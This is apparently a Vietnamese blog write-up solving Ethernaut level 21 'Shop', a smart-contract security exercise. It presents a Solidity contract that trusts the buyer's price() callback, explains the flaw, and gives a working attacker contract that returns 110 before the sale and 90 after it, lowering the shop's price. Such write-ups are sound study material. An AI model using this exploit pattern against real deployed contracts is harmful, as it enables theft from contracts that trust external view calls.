Skip to content

The Ethernaut writeups: 21 - Shop

Posted on:February 27, 2022

21. Shop

Nhiệm vụ: Contract được thiết kế để buyer luôn phải mua với giá cao hơn giá niêm yết. Bằng cách nào đó hãy hạ giá niêm yết xuống.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

Phân tích

price() trong Buyer là một hàm view, tức hàm không thể thay đổi giá trị storage được. Tuy nhiên ta hoàn toàn không cần dựa vào các biến bên trong contract, mà ta hoàn toàn có thể dựa vào những biến đổi bên ngoài contract để đưa ra giá trị của price(). Trong trường hợp này, ví dụ như là biến isSold của Shop.

Solution

Ta implement Buyer như sau

contract Buyer {
    Shop shop;
    constructor(address shopAddr) public {
        shop = Shop(shopAddr);
    }

    function price() external view returns (uint) {
        if (!shop.isSold()) return 110;
        else return 90;
    }

    function rekt() external {
        shop.buy();
    }
}
(await contract.price()).toString();
> 90

completed